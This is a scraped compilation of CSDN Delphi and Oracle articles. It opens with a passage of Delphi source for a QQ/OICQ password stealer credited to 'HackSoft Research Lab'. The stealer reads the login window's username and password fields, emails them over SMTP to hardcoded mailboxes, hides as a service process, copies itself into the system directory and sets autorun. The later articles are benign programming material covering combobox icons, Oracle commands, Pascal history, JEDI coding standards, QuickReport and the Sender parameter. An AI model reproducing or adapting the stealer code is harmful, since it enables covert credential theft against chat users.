5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF
+'To:"getoicq"<www.password.com>'+CRLF
+'Subject:QQ2001 Password come.'+CRLF
+CRLF
+newpass+CRLF
+'.'+CRLF;
6:s1:='QUIT'+CRLF;
else
step:=0;
end;
strcopy(sbuf,pchar(s1));
err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
end;
//发信主过程
procedure SendPass;
begin
err:=WSAStartup($0101,WSAData);
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
//利用 smtp.21cn.com 进行发信
fhost:='202.104.32.230';
fport:=25;
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(Fport);
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
step:=0;
repeat
MailSend;
until step=0;
err:=closesocket(FSocket);
err:=WSACleanup;
end;

//窗口枚举函数
function lpEnumFunc(hwnd:integer;uint:integer):boolean;stdcall;
var hw,hwold,hs,wlong,hup,i:integer;
sbuf,sb3,sb2:array[0..256] of char;
sb1:string;
begin
hwold:=GetParent(hwnd);
wlong:=GetWindowLong(hwnd,GWL_STYLE);
if (wlong and ES_PASSWORD)<>0 then
begin
//检查是否OICQ登陆
hup:=GetParent(hwnd);
sendmessage(hup,wm_gettext,100,integer(@sbuf));
strpcopy(sb2,'OICQ 注册向导');
strpcopy(sb3,'QQ 注册向导');
if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
begin
old:=GetParent(hup);
old:=GetParent(old);
old:=GetParent(old);
start:=0;
count:=1;
//items.clear;

//跳过两个窗口
hwnd:=Getwindow(hwnd,GW_HWNDFIRST);
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
//取得用户名
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[0]:='用户名:'+strpas(sbuf);
//取得密码
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[1]:='密码:'+strpas(sbuf);
end;
strpcopy(sb2,'OICQ用户登录');
strpcopy(sb3,'QQ用户登录');
if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
begin
old:=GetParent(hup);
old:=GetParent(old);
start:=0;
count:=1;
//items.clear;
//取得用户名
hwnd:=Getwindow(hwnd,GW_HWNDFIRST);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[0]:='用户名:'+strpas(sbuf);
//取得密码
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[1]:='密码:'+strpas(sbuf);
end;
end;
//检查是否在线
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
strpcopy(sb2,'在线');
strpcopy(sb3,'隐身');
if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
begin
if hwold=old then
begin
if olde<>old then
begin
if strcomp(sbuf,sb2)=0 then items[2]:='登录成功:在线'
else items[2]:='登录成功:隐身';
items[3]:=' ';
//密码发回我的邮箱getoicq@21cn.com

newpass:=format('%s %s %s %s',[items[0],items[1],items[2],items[3],items[4]);
//
hackmail:=email;
sendpass;
email:='mf001@etang.com';
sendpass;
email:=hackmail;

//密码存盘到oicqpass.dll中

{
if fileexists(spy+'oicqpass.dll')=false then fhand:=filecreate(spy+'oicqpass.dll')
else fhand:=fileopen(spy+'oicqpass.dll',fmOpenWrite);
if fileexists(spy+'oicqpass.dll')=false then fhand:=filecreate(spy+'oicqpass.dll')
else fhand:=fileopen(spy+'oicqpass.dll',fmOpenWrite);
fileseek(fhand,0,2);
strpcopy(sbuf,items[0]+#13#10+items[1]+#13#10+items[2]+#13#10+items[3]+#13#10);
filewrite(fhand,sbuf,strlen(sbuf));
fileclose(fhand);
}
end;
olde:=old;
end;
end;
result:=true;
end;

定时器响应函数
procedure OnTimer1;
begin
lp:=0;
EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp);
end;
//窗口创建响应函数
procedure winCreate;
var wlong:integer;
s1:string;
s2,s3,sbuf:array[0..300] of char;
i:integer;
osver:TOSVERSIONINFO;
tmp:tmemorystream;
begin
//取得操作系统版本信息,若为win9x则注册为服务进程而隐身,nt下无此功能
osver.dwOSVersionInfoSize:=sizeof(TOSVERSIONINFO);
if GetVersionEx(osver)=true then
begin
if VER_PLATFORM_WIN32_NT<>osver.dwPlatformId then
begin
LibHandle:=LoadLibrary('kernel32.dll');
if LibHandle<>0 then
begin
@regservice:=GetProcAddress(LibHandle, 'RegisterServiceProcess');
regservice(0,1);//1=hide,0=show;
FreeLibrary(LibHandle);
end;
end;
end;
max:=0;
count:=0;
将程序复制到系统目录
s1:=ParamStr(0);
for i:=0 to length(s1) do s2:=s1[i+1];
GetSystemDirectory(@syspath,MAX_PATH);
spy:=strpas(@syspath)+'\';
s1:=spy+'oicqhack.exe';
for i:=0 to length(s1) do s3:=s1[i+1];
copyfile(s2,s3,false);
//从email.txt中找到目标e-mail信箱
if fileexists('c:\email.txt')=false then
begin
email:='getoicq@21cn.com';
end else
begin
tmp:=tmemorystream.create;;
tmp.loadfromfile('c:\email.txt');
count:=tmp.size;
// strcopy(sbuf,pchar(''));
tmp.read(sbuf,count);
tmp.free;
email:='';
for step:=0 to count-1 do email:=email+sbuf[step];
strcopy(sbuf,pchar(email));
// messagebox(0,sbuf,'',0);
end;
count:=0;
step:=0;
//修改注册表使程序自启动
autorun;
end;

end.

/////////////////////////////////////////////////////////
--------倪建华---------------
HackSoft Research Lab.
Copyright(C) 2001 Alrights reserved.


CSDN_文档中心_OICQ中用户图标选择的实现

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TForm1 = class(TForm)
List1: TComboBox;
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure List1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var
s: String;
begin
Randomize;
s:= intTostr(Random(100));//LAST HERE!
CreateDir(s);
end;
procedure TForm1.FormCreate(Sender: TObject);
var
Bit1,Bit2,Bit3,Bit4,Bit5,Bit6: TBitmap;
begin
List1.Style := csOwnerDrawVariable;
List1.ItemHeight := 30;
Bit1 := TBitmap.Create;
Bit1.LoadFromFile('C:\Program Files\Oicq\face\1-1.bmp');
Bit2 := TBitmap.Create;
Bit2.LoadFromFile('C:\Program Files\Oicq\face\2-1.bmp');
Bit3 := TBitmap.Create;
Bit3.LoadFromFile('C:\Program Files\Oicq\face\3-1.bmp');
Bit4 := TBitmap.Create;
Bit4.LoadFromFile('C:\Program Files\Oicq\face\4-1.bmp');
Bit5 := TBitmap.Create;
Bit5.LoadFromFile('C:\Program Files\Oicq\face\5-1.bmp');
Bit6 := TBitmap.Create;
Bit6.LoadFromFile('C:\Program Files\Oicq\face\6-1.bmp');
List1.Items.AddObject('图标1',Bit1);
List1.Items.AddObject('图标2',Bit2);
List1.Items.AddObject('图标3', Bit3);
List1.Items.AddObject('图标4', Bit4);
List1.Items.AddObject('图标5', Bit5);
List1.Items.AddObject('图标6', Bit6);
List1.ItemIndex :=0;
end;

procedure TForm1.List1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
var
Bitmap: TBitmap;
Offset: Integer;
begin
with(Control as TCombobox).Canvas do
begin
FillRect(Rect);
Bitmap := TBitmap(List1.Items.Objects[Index]);
//Bitmap := TBitmap.Create;
//ImageList1.GetBitmap(Index,Bitmap);
if Bitmap<> Nil then
begin
BrushCopy(Bounds(Rect.Left+2,Rect.Top+2,Bitmap.Width,Bitmap.Height),Bitmap,
Bounds(0,0,Bitmap.Width,Bitmap.Height),clRed);
Offset := Bitmap.Width + 8;
TextOut(Rect.Left+OffSet,Rect.Top,List1.Items[Index]);
end;

end;

end;

end.


CSDN_文档中心_ORACLE简单应用

用户创建： create user <用户名> identified by <密码>

default tablespace users

temporary tablespace temp;

新用户权限设定：grant connect,resource,unlimited tablespace to <用户名>;

用户丢弃： drop user <用户名> cascade;

取消权限： revoke <权限> from <用户名>;

查询用户： select * from dba_users;

查询已创建用户：select username from dba_users;

查询空间： select * from dba_tablespaces;

数据导入： imp <用户名>/<密码> file=文件名.dmp full=y

数据导出： exp <用户名>/<密码> file=文件名.dmp full=y

提交： commit;

添加数据库文件：alter tablespace users add datafile '路径\users2.ora' size 500M;

alter tablespace rbs add datafile '路径\rbs2.ora' size 200M;

alter tablespace temp add datafile '路径\tmp2.ora' size 200M;

开启表： alter rollback segment rb* online;

关闭表： alter rollback segment rb* offline;

添加回滚段： alter rollback segment rb* storage (next 2M optimal 10M);

创建回滚段： create public rollback segment rb* storage (next 2M optimal 10M);

注册表语言： ZHS16GBK 或者 ZHS16CGB231280

启动LISTENER： lsnrctl status (看状态)

lsnrctl start (启 动)


CSDN_文档中心_Pascal 精要--第一章

  • www.marcocantu.com
  • Marco's Delphi Books
  • Essential Pascal - Web Site
  • Essential Pascal - Local Index

PASCAL
精要

译文 周良勇

校稿 戴勤奋

阿波罗神在Delphi神庙膜拜
意大利十七世纪壁画

目录

  • 第一章: Pascal历史回顾
  • 第二章: 编写Pascal代码
  • 第三章: 类型、变量及常量
  • 第四章: 用户自定义数据类型
  • 第五章: 语句
  • 第六章: 过程与函数
  • 第七章: 字符串操作
  • 第八章: 内存
  • 第九章: Windows编程
  • 第十章: Variant类型
  • 第十一章: 程序与单元
  • 附录A: 术语表
  • 附录B: 例名表

作者介绍

意大利人，长期从事Delphi开发及教学工作, 《Delphi入门到精通》 及 《Delphi 开发人员手册》的作者，本书《Essential Pascal》1999年10月完成。 进一步了解 Marco Cantù请访问网址 www.marcocantu.com.

译者语

编程技巧、窍门之类的内容在各大编程网站上不难找到，但象 Marco Cantù《Essential Pascal》那样既基础又有深度的东西实属难见，其中包含了作者多年的工作经验及对Delphi Pascal的深入理解，是一本很实用的参考书，尤其是初学者定能从中获益。

PASCAL
精要

第一章
Pascal历史回顾

Delphi中使用的面向对象pascal编程语言并不是borland公司1995年发布可视化开发环境Delphi时才有的，它只是已有borland pascal产品的简单扩展。 Borland没有发明pascal，但它推广并扩展了pascal。

这一章对pascal语言的历史背景及其发展历程作一简短回顾。

沃斯的pascal

Pascal 语言最初由瑞士苏黎士理工学院的尼古拉斯-沃斯(Niklaus Wirth)教授在1971年设计, 作为Algol语言(1960年设计)简化本用于教学目的。

设计Pascal时，许多编程语言业已存在，但只有FORTRAN、C、Assembler、COBOL等少数语言在广泛应用。Pascal这种新语言的灵魂是其语言规则，Pascal语言规则的管理是通过强健的数据类型概念、强制性的数据类型声明与程序结构化控制来实现的，当时设计Pascal的初衷是想把这种语言用作程序设计课程的教学工具。

Turbo Pascal

1983年Borland公司推出了世界闻名的Pascal编译器 -- Turbo Pascal，实现了詹森和沃斯（Jensen & Wirth）在 “Pascal User Manual and Report” 中提出的思想 。由于既简洁功能又强，Turbo Pascal成为当时最畅销的编译器之一，而且在PC平台上非常流行。

Turbo Pascal中增添了集成开发环境（IDE），在这种开发环境中，你可在与WordStar 兼容的文字编辑器中编辑代码，可以运行编译器，查看编译错误并直接跳回到包含错误的行中。现在听起来上述功能似乎微不足道，但在Turbo Pascal之前你不得不退出代码编辑器返回到DOS，然后运行命令行编译器，记下错误行，再打开编辑器跳至错误行，非常烦琐。

此外，Borland公司的Turbo Pascal 售价只49美元 ，而Microsoft公司的 Pascal 编译器售价几百美元。 Turbo Pascal 取得多年的成功应归功于Microsoft最终放弃了Pascal 编译器产品。

Delphi中的Pascal

随着Turbo Pascal 编译器从第一版发布到第九版，Pascal语言得到了不断的发展，1995年Borland发布了Delphi ，使Pascal成为一种可视化编程语言。

Delphi 在很多方面扩展了Pascal语言，其中包括许多面向对象的扩展，这些扩展的风格与Object Pascal有所不同，同时Delphi 也提高了 Borland Pascal with Objects 编译器的性能。


CSDN_文档中心_progressbar的填充颜色的改变

delphi5的默认的progressbar的颜色是深蓝色的，但是怎么样才能改变呢？这儿有一个方法可以达到你的要求，只要你在form的create事件中加入如下的代码就大功告成了，试试看哦：

PostMessage(ProgressBar1.Handle, $0409, 0, clGreen);

这个帖子发出的时候提示说帖子太段了，要长一点，但是我又找不到别的东西说了，就只有在上面空了，中间空了，下面再写几个字，希望管理的工作人员原谅，有劳您们了！


CSDN_文档中心_Project JEDI VCL组件编码标准

编写该标准的目的是统一组件代码的书写格式,以便于所有的Delphi程序员----无论是初学者还是高级开发人员---都能够方便地维护和理解他们。对于某些并不完全符合标准，但是十分优秀并且已经加入到源代码知识库的组件，我们在审阅的时候会给予一定的灵活度。然而任何一个程序员在提交他们的代码时，都应该附带正确的题头和说明文档，并认真填写，这一点极为重要。这项工作会让你的代码更容易被源代码知识库采用。

原则上,我们将遵循Charlie Calvert先生在Borland Techvoyage 站点中发表的 Delphi编码风格指导中所采用的规范。

5.1 组件代码必须包含的信息

5.1.1题头（作者姓名/等，版本控制信息）

任何提交给知识库的源码文件的最开头部分，都必须附有如图1中所显示的题头格式，该格式对Borland Delphi 和 Borland C++Builder 均有效。

{-----------------------------------------------------------------------------
The contents of this file are subject to the Mozilla Public License
Version 1.1 (the "License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.mozilla.org/MPL/
Software distributed under the License is distributed on an "AS IS" basis,
WITHOUT WARRANTY OF ANY KIND, either expressed or implied. See the License for
the specific language governing rights and limitations under the License.
The Original Code is: XXX.PAS, released 2000-06-15.
The Initial Developer of the Original Code is Joe Doe <joe.doe@email.com>
Portions created by Joe Doe are Copyright (C) 1999 Joe Doe.
Portions created by Microsoft are Copyright (C) 1998, 1999 Microsoft Corp.
All Rights Reserved.
Contributor(s): ______________________________________.

Last Modified: 2000-mm-dd;
Current Version: X.XX
You may retrieve the latest version of this file at the Project JEDI home page,
located at http://www.delphi-jedi.org
Known Issues:
-----------------------------------------------------------------------------}

图1 标准组件题头

 图中“The Original Code” 一栏中的 “XXX.PAS” 代表源文件名.通常情况下,源文件名同你所开发的组件名是不同的.举例来说,一个名为TJvScreen的组件应该包含在名为Screen.pas的文件中。作为约定，源文件 （.pas）不应包含“TJv”或“Jv”前缀。

“Initial Developer”一栏中应包含有原作者全名，以及邮件地址。为了方便Bug的修正和其它联系，留下一个邮件地址是很重要的。

5.1.2 Mozilla 许可协议放弃声明

原作者只允许使用5.1.1中采用的标准题头.如果没有特别声明放弃该协议，源文件将不被采纳.

有一种情况例外，那就是当代码放置在公共域中时，在这种情况下，请将Mozilla 许可协议替换成下面的声明。

{-----------------------------------------------------------------------------
This is an original work by Joe Doe and is hereby placed in the Public Domain.
The Original Code is: XXX.PAS, released 2000-06-15.
The Initial Developer of the Original Code is Joe Doe <Joe.doe@email.com>.
Contributor(s): ______________________________________.

Last Modified: 2000-06-15
Current Version: X.XX
You may retrieve the latest version of this file at the Project JEDI home page,
located at http://www.delphi-jedi.org
Known Issues:
-----------------------------------------------------------------------------}

5.1.3 过程/函数块

原作者同样需要对每一个过程或函数附加详细的说明。说明的文字要有正确的缩进：

{------------------------------------------------------------------------------
    Procedure: TJvScreen.DemoEventHandler
  Description:
       Author: Joe Doe
 Date created: 3/1/1996
Date modified: mm/dd/yyyy by Joe Foo
      Purpose:
 Known Issues:
 ------------------------------------------------------------------------------}
procedure TJvScreen.DemoEventHandler(
     Sender: TObject;
     Col   : LongInt;
     Row   : Longint;
     Rect  : TRect;
     State : TGridDrawState);  // Refer to notes
var
  i,
  j,
  ThisNum,
  ThatNum: integer;
  IsAlive,
  IsPurple: Boolean;
begin
(?
end;

       图 2 – 标准函数/过程块

5.1.4 源代码中前缀的用法

下列是我们所推荐的前缀编码方法:

组件前缀(例：TJvHtmlHelp) 要求

成员前缀(例：FDefaultWindow) 要求

类前缀(例：TJvHtmlHelpRouter) 要求

全局变量前缀(例：GHtmlHelpRouter) 要求

指针前缀(例：PMyPointer) 要求

指针变量前缀(例：PopupDefsPtr) 要求

枚举类型前缀(例：alBottom) 要求

其他前缀 不要求

5.1.5 断言

在源代码中插入断言（对过程/函数的一些简短的预处理和后处理）是值得提倡的编码方法。这样做有助于最终用户更清楚的了解组件作者的意图。断言只在Delphi的集成环境中被程序调用，而不会编译到最终的版本中，因而使用起来不需要有任何顾虑。

5.2 组件名称

所有的 Jedi-VCL 组件都使用标准的“TJv”前缀以和其他组件相区别（请注意大写“J”）。TJv已经在developers.href.com 的Delphi前缀注册机构登记，隶属于Project JEDI。

5.3 源代码库管理人员修改组件名的权限

某些提交上来的组件要么同源代码库的另一个组件重名,要么名称或前缀不恰当.举例来说，一个功能是向屏幕上输出字符而命名为TJvPrint的组件就不符合要求，因为Print容易让人联想到打印机。基于以上的考虑，源代码库管理人员有责任修改某些组件的名称，以使组件命名更加清楚明了或保证命名的唯一性。

5.3.1 在组件发布之后修改名称

一旦组件被选中并加入到源代码库中后,其名称就应该固定. 允许修改名称可能会产生不必要的麻烦,尤其对于那些正在使用旧的名称而又没有及时更新的用户.

5.4 源代码格式

Borland Delphi 的代码格式必须同当前Borland公司为Delphi VCL定义的编码标准相一致。如前所述，原则上,我们将遵循Charlie Calvert先生在Delphi编码风格指导中的规范。这样做的目的是为了向所有的Borland Delphi开发人员提供一种他们能够识别的统一格式。背离基本的规范是我们所要避免的。

5.5 代码中的注释

对方法功能的注释最好不要超过一行.注释是用来解释代码的,而不是告诉别人怎么使用它.在一个方法中，要尽量做到只在需要解释的代码后加入注释.而不要这样

Form.Show //Show Form

作为参考，尽量保持每十行代码对应一行注释的比率。

5.6 其它

·空格：在逗号和冒号后要加空格，操作符（+, -, *, /, := , = , <, >等）两边也应有空格。

·同一行内不允许有多个命令或变量声明。

·对于没有注释的方法，至少要用分割线（如：//-----80个字符宽） 将其相互隔开。对每一个方法通常都是不需要注释的，例如，一个名为CountErrors的方法便不需要注释。

·对于复杂的逻辑或数学表达式尽量使用括号以增加可读性，尽管从语法的角度上来讲不一定需要。

·在逻辑表达式中和其他一些容易导致跟踪调试上的困难的地方应该最大限度的避免函数的使用。

·对指针变量显式的撤销调用（如 MyDynamicArray^[0]）不再需要,并且在任何时候都应尽量避免。

·结构化函数的执行使得函数只在一点结束(End关键字处)而不是被exit中止（可能的话）。

·使用绝对跳转标识将被认为是不好的编码风格（汇编除外）。


CSDN_文档中心_QuickReport基本知识

一、 简单了解各控件功能

    以下是各控件最简单的使用功能，其他功能依具体的实现而介绍。

    TquickRep:带有坐标，作为其他报表控件(如TQRBand)的容器,它的Band属性可以自动添加各种类型的TQRBand.

    TQRLabel:打印静态的文本（即不是根据数据库值来改变的），作用象Tlabel , Caption的内容就打印出来的内容。

    TQRDBText:打印数据库字段值，一个值一行。作用象TDBText.把它的DataSet , DataField分别赋予Table1，Company时，将打印Table1所指向的表的Company字段的内容。

    TQRSysData:打印系统信息如时间，页码，报表头等。

    TQRMemo:非常象TQRLabel，只是它可以打印多行，也是打印静态数据。

    TQRRichText:打印RichText格式，能够连接到一个Form上的RichEdit控件并打印它的内容，不过必须是32位版本的。

    TQRShape:打印方框、圆和垂直、水平线。

    TQRImage:打印静态的图片，包括（BMP,WMF,ICON）.

    TQRDBImage:从数据库接收图片。

    TQRBand:用来确定报表的不同位置应该显示什么内容，它上面可以放控件(参见二)。

    TQRGoups:Groups可以不限级别的组操作。当你连接了几个datasets到报表时可以通过Groups成组的对dataset进行操作。

    二、 报表的控件摆放循序

    出现在所有页上的标题(PageHeader)

    标题（只有首页才有）(Title)

    所有列的标题(ColumnHeader)

    记录的内容，一个字段一列(Detail)

    摘要（最后一页才有）(Summary)

    出现在所有页上的页脚(PageFooter)

    这些根据设置不同的Band(不是控件，一种类型而已，在其上面可以放其他控件)来定位。总共有六种Band。

    三、 一个简单的例子

    这个例子制作打印一张表的部分字段名及该字段数据内容的报表。

    建立一个新project

    放一个TTable到Form上，DatabaseName设为BCDEMOS,TableName指向Customer表，Active设为true.

    放一个TquickRep控件在Form上，DataSet属性为Table1.（即要显示上边Table1所指向的表的内）。

    展开TquickRep的Bands属性，设HasDetail为true,这时自动增加个detail band(一个TQRBand控件，故也可以直接放一个TQRBand控件，BandType属性设为detail就行了)。

    放一个TQRDBText控件在detail band上面，设DataSet指向Table1,DataField指向Company。第四步是设置在报表的什么位置显示什么类型的数据，而TQRDBText则具体实现。

    选TquickRep控件，按右键，选择”Preview”预览，应该看到表Customer的字段Company的所有字段值。

    到这一个简单的例子就OK了，程序实现预览及利用TQRuickRep自带的打印功能只须在Form中加一个按钮，它的OnClick事件为：QuickRep1->Preview();

    四、一个使用TQRGoups、TQRExpr控件的报表

    该报表先列出州名，接着列出该州的所有公司及公司总数，一个州列完后空一行（groups中断），列出新的州名，接着列新州下的所有公司，没有填州名的公司统一列在Unknown state下面。

    建立一个新project。

    放一个Tquery在Tquickrep上，其SQL属性为：select * from customer order by State,Company;(即根据州、公司排序)，DatabaseName为BCDMome,Active为true.

    放一个TquickRep控件在Form1上,DataSet为Tquery1.

    放一个TQRGroups控件在TquickRep上，这时默认为group header。（任何时候当group中断或更高级别的group中断，这个header都将打印出来，如果有表达式，根据表达式的值显示内容。）接着添加一个group footer band,添加时，放一个TQRBand控件在报表上，连接TQRGroups的FooterBand属性到这个QRBand，这时这个新建的TQRBand就成为Group Footer. （TQRGroup的一个重要特性是表达式，任何时候当表达式的值变时Group都将中断，如表达式是按省列出城市名，当前列出广东省，当属于该省的城市列完后，表达式值改变，这时Group中断，接着显示其他省的城市名。）TQRGroups的Expression属性设为Query1.State(根据不同的州来中断)。

    放一个TQRBand控件在报表上,BandType为rbDetail.

    放一个TQRExpr控件在group header上面，其Expression属性为：if(State<>’’,State,’Unknown state’)，即如果公司的州没填，就归入Unknown state,否则归入State.

    放三个TQRDBText在Detail上，他们的DataSet都指向Query1,DataField分别指向Company,Contact,Phone.

    在放一个TQRExpr控件在group Footer上面,Expression为’Customers in’+State+’:’+Str(Count) 作用是在每个州的公司列完后显示该州总共有多少个公司。

    按右键选预览，应该看到不同的州名及其公司和公司公司总数。

    五、QuickReport 条件式列印

    可以直接在 TQuickReport 的 OnFilter 事件中写明条件判断,OnFilter事件的引数中有一个以 var 宣告的 PrintRecord 布林型态变数,将这个变数设为 True(预设值), 该笔记录便会印出;反之, 设为False,就不印出这笔记录.

procedure TForm1.QuickReport1Filter(var PrintRecord: Boolean);
begin
PrintRecord := False;
if YourTable.FieldByName('WantedField').AsInteger <= 100 then
Exit;
if YourTable.FieldByName('WantedField').AsInteger >= 150 then
Exit;
PrintRecord := True;


CSDN_文档中心_RAD与non-RAD

RAD与non-RAD

该文绝大部分文字本来准备出现于正在写的一本新书中的，不过写完之后感觉和书的主题不甚贴切，因此就毅然从书中删掉了。不过感觉这段文字说出了很多一直想说的话，因此便将它独立成文。

    似乎说到Delphi，就会谈到这个话题。不错，Delphi是RAD（Rapid Application Development，快速应用开发工具）。

    VB的出现，掀起了一场编程方式的革命，它带来了可视化编程，一种无数程序员所梦想的编程方式。但也从此，给人留下了这样的印象——RAD就是搭积木。这也让一些“高手”对RAD不屑。很多初学者感觉VB好用，立刻就可以写出一个能看上眼的程序，但在学习、使用一段时间后，便感觉无从更进一步了。于是，又责怪RAD太过简单。甚至许多熟练的Delphi程序员都会有着类似的担心，RAD是不是不登大雅之堂？

    或许，用VB进行开发，的确可以算是搭积木。但是，请不要认为这就是RAD的全部。而且，Delphi绝对不等同于VB！

    首先，RAD是提高生产效率的工具。工具是被人们用来解决实际问题的，而不是用来炫耀或作为理论来学习的。好的工具应该是可以帮助使用者快速、有效的达成目的，那么，RAD正是扮演了这样一个角色。它让你能够专注于问题的重点，用别人写好的，经过大量使用测试的现成控件按照项目的业务逻辑，组装成符合客户需要的软件产品。既保证了开发速度，又提高了质量（可以近似认为现成的控件是零bug的）。从这个意义上来说，搭积木的开发方式是有存在的价值的，这也是全世界程序员所梦想的“模块化”的一种形式。搭积木本身并没有错，RAD并没有错。

    其次，RAD是工业的开发工具，不是学习工具。众所周知，RAD简单易用，初学者一接触到RAD，仿佛找到了学习的捷径。但是，最终可能会让这些人丧气。因为，简单易用的背后，是需要扎实的基础作为依托的。RAD出现的初衷就是让开发者不必考虑太多的恼人的细节，但并非不需要相关的基础理论的支持。比如：用Delphi开发基于TCP协议的网络应用时，你不必知道TCP包的格式，但是，如果连IP地址都不知道是何物，纵使有RAD也无补于事。而且，知道的越多，在出问题时就越容易解决。RAD的简单易用只是降低了开发人员在尝试使用RAD时的学习曲线。又如：你精通Windows环境下的SDK编程，能脱口而出所需要的Win32 API，那么，当你使用Delphi时，不会有什么困难，至多熟悉一下VCL如何封装这些API。如果Delphi是非常难学难懂的开发工具，你会耗费精力去用它吗？不如直接用SDK开发了。如果将掌握RAD本身作为学习目标的话，那么你注定至多只是个业余的编程爱好者而已（没有贬低爱好者的意思，只是相对于专业程序员而言）。在此，笔者有一些题外话，经常可以听到有人说现在大学计算机专业学习的内容与实际需要脱节之类的话。其实如何才算不脱节呢？真的要学校教VB、VC、Delphi才算不脱节？如果真是这样的话，VB、VC、Delphi都淘汰了怎么办？那才是真正的悲哀呢。言归正传，所以，RAD不是学习的捷径，RAD是实现的利器。

    最后，RAD和non-RAD是互补的。RAD和non-RAD有着不同的适合领域，存在原因和拥护群体，它们的存在并没有冲突，也不必人为的将它们对立起来。常可见non-RAD的使用者嘲笑RAD的使用者“低阶”，其实这些所谓“高手”只是眼高而已。使用VC的一定比使用VB的人“高阶”？项目中使用什么编程语言、开发工具，时常并不是你个人所能左右的，会受很多因素制约。比如：客户的硬件环境、操作系统环境，开发环境，开发工具的成本、许可证等等，所以使用什么工具说明不了问题。况且，专业程序员不应该是忠于开发工具，而是应该忠于自己的编程理念。我只会说“最喜爱XX开发工具”，“最熟悉XX开发工具”，绝不会说“我是使用XX开发工具的”。所以，RAD并不等于低阶，non-RAD并不意味着高人一等。RAD和non-RAD的存在，并不冲突。个人水准的高低，也不是通过你所使用的工具来表现的。

    很多刚入门的编程爱好者，摆弄了几天VB或Delphi或C++Builder，拖拉几个控件弄出个EXE之后，便宣称自己已经学会了编程，这就有些盲目了。这也是为什么RAD会被人误会的原因之一。不可否认，RAD的出现，使得编程的门槛变低了。但是，入了门槛并不等于都掌握了，程序设计本身是一门博大精深的学问，做学问最重要的就是严谨、踏实。

    另外，虽然Borland一直宣称Delphi是RAD，但其实你完全可以把Delphi 当作non-RAD的开发工具来用（即纯Object Pascal编译器），这也是其提供的自由度的一个表现吧。


CSDN_文档中心_Return to Sender

Return to Sender

The Lowly Sender Parameter Can Make Applications Shine

The humble Sender parameter could be one of Delphi's most useful tools for modular, extensible programming. Although Sender is normally used to simply determine which object called a particular procedure, with some creativity, this parameter can be extended to allow robust modular programming with simple, reusable code.

Sender Basics

The Sender parameter is so ingrained in Delphi programming that it appears in practically every program procedure. Even the Form's OnCreate event - which has no sender - includes the (Sender: TObject) parameter in its definition.

Despite its ubiquity, the Sender parameter is not necessary for a procedure to function. Removing Sender from a procedure that doesn't use it results in perfectly functional code, as long as the parameter is also removed from the procedure's type statement in the form object's interface section. Delphi will generate an "incompatible parameter" warning at compile time, but this can be safely ignored. In fact, removing any unused Sender parameters results in slightly leaner and meaner code.

Not only can Sender be omitted from any procedure, but when used, it doesn't even have to be called Sender. This name is only used by convention. The common term makes understanding code simpler, but there's no reason not to name it Caller, Origin, or Banana if the developer prefers.

So the Sender parameter doesn't have to be called Sender, and is, in fact, unnecessary. So what is it? And why is it important enough to add to practically every Delphi procedure?

Sender is simply a parameter passed from the component that called the event handler. Sender (or whatever it's called by the event handler) is a parameter of the type TObject. Because TObject is the ancestor of all components, Sender can accommodate any Delphi object that can possibly trigger an event. Sender forms a two-way link between an object and an event handler; it tells the procedure what object triggered it to be called. In other words, if an event handler was a letter, the Sender parameter would be the return address.

Using Sender

The simplest and most common way to use Sender is with an if...then or case statement that performs a certain action depending on what object triggered the procedure. Here's a typical example:

procedure Form1.ButtonClick(Sender: TObject);

begin

if Sender is StopButton

then Stop(Sender);

end;

This code examines the Sender parameter to see if it's the object, StopButton. If so, the event handler calls another procedure, Stop, passing the Sender parameter to that procedure as well. The Stop procedure can call another procedure and so on, passing the Sender parameter through the program code. Because each procedure is simply passing along the parameter it received, wherever the parameter is ultimately used, it will reflect the object that called the original event handler.

Not only can Delphi developers use Sender to identify the object that called a procedure, but they can also use it to access that object's properties. The form in Figure 1 uses a number of colored panels as a palette. When the user clicks on a panel, the large panel on the left changes to the color of the selected panel.

Figure 1: This mini-program sets the color of the panel at right to the color of the panel selected by the user.

This procedure does not need the name of the panel selected, only its color property. Therefore, each panel in the palette can have its own color, but all share the following OnClick event handler:

procedure TForm1.Panel1Click(Sender: TObject);

begin

Panel1.Color := TPanel(Sender).Color;

end;

Since Sender provides a "return address" to the calling object, that object's properties can be read and set as well. This way, the procedure can also change the panel's Color property without actually working with the panel object's name. For example:

TPanel(Sender).Color := clRed;

Any type of property can be accessed using this framework, provided it's a property belonging to the specified type. In the previous example, the procedure specifies that Sender is a TPanel, which therefore has a Color property. While Sender is declared as a TObject in the procedure header, the following line would return a compiler error.

TPanel1.Color := TObject(Sender).Color;

